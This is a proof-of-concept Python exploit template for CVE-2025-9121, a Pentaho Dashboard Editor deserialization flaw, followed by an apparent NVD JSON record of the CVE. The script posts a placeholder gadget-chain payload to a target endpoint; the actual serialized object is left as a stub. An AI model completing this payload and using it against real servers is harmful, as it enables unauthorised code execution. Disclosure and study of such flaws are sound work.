CVE-2025-9121

import json import requests import base64 # CVE-2025-9121 PoC - Unsafe Deserialization in Pentaho Dashboard Editor # This PoC demonstrates how an attacker could exploit the deserialization vulnerability # by sending a malicious serialized payload TARGET_URL = "http://target-server:8080/pentaho/plugin/dashboard-editor/api/deserialize" # Example malicious serialized object (gadget chain payload) # In real attack, this would be a ysoserial-style payload MALICIOUS_PAYLOAD = { "action": "deserialize", "data": "base64_encoded_serialized_object_here", "classType": "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" } def exploit(target_url, payload): """ Send malicious deserialization payload to vulnerable endpoint """ headers = { 'Content-Type': 'application/json', 'Accept': 'application/json' } try: response = requests.post(target_url, json=payload, headers=headers, timeout=30) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None if __name__ == "__main__": print("CVE-2025-9121 PoC - Pentaho Unsafe Deserialization") print("Target: ", TARGET_URL) exploit(TARGET_URL, MALICIOUS_PAYLOAD)

{"cve": {"id": "CVE-2025-9121", "sourceIdentifier": "[email protected]", "published": "2025-12-15T23:15:57.590", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pentaho Data Integration and Analytics Community Dashboard Editor plugin versions before 10.2.0.4, including 9.3.0.x and 8.3.x, deserialize untrusted JSON data without constraining the parser to approved classes and methods."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://support.pentaho.com/hc/en-us/articles/41832536185613--Resolved-Hitachi-Vantara-Pentaho-Business-Analytics-Server-Deserialization-of-Untrusted-Data-Versions-before-10-2-0-4-Impacted-CVE-2025-9121", "source": "[email protected]"}]}}